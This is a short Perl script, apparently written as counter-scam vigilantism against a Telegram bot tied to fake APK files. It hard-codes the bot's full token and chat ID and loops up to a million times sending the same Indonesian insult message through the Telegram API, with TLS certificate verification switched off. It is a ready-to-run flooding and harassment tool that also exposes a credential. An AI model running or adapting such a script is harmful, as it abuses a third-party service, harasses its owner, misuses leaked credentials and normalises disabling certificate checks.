Spam File APK PALSU

spam.pl

#!/usr/local/bin/perl
use LWP::UserAgent;
use HTTP::Request;

my $URL = 'https://api.telegram.org/bot6232831741:AAE6paXHDwHtwUk3uE8h4TdSUFIs4RYgiuA/sendMessage?parse_mode=markdown&chat_id=6220064293&text=SEMOGA%20CEPAT%20TERTANGKAP%20DAN%20TOBAT%2C%20INGAT%20ADA%20AZAB%20KUBUR%20SETELAH%20KEMATIAN%0A%0AMAMPUS%20GW%20SPAM';

my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30, 
  ssl_opts => { 
        verify_hostname => 0, 
        SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE 
    },
  );

my $header = HTTP::Request->new(GET => $URL);
my $request = HTTP::Request->new('GET', $URL, $header);


my @c = (1..1000000);
for(my $i = 0; $i <= $#c; $i++){
  my $response = $agent->request($request);

  # Check the outcome of the response
  if ($response->is_success){
    print "TERKIRIM!! $c[$i]\n";
  } elsif ($response->is_error){
    print "Error:$URL $c[$i]\n";
    print $response->as_string;;
  } 

  sleep(rand(20))
}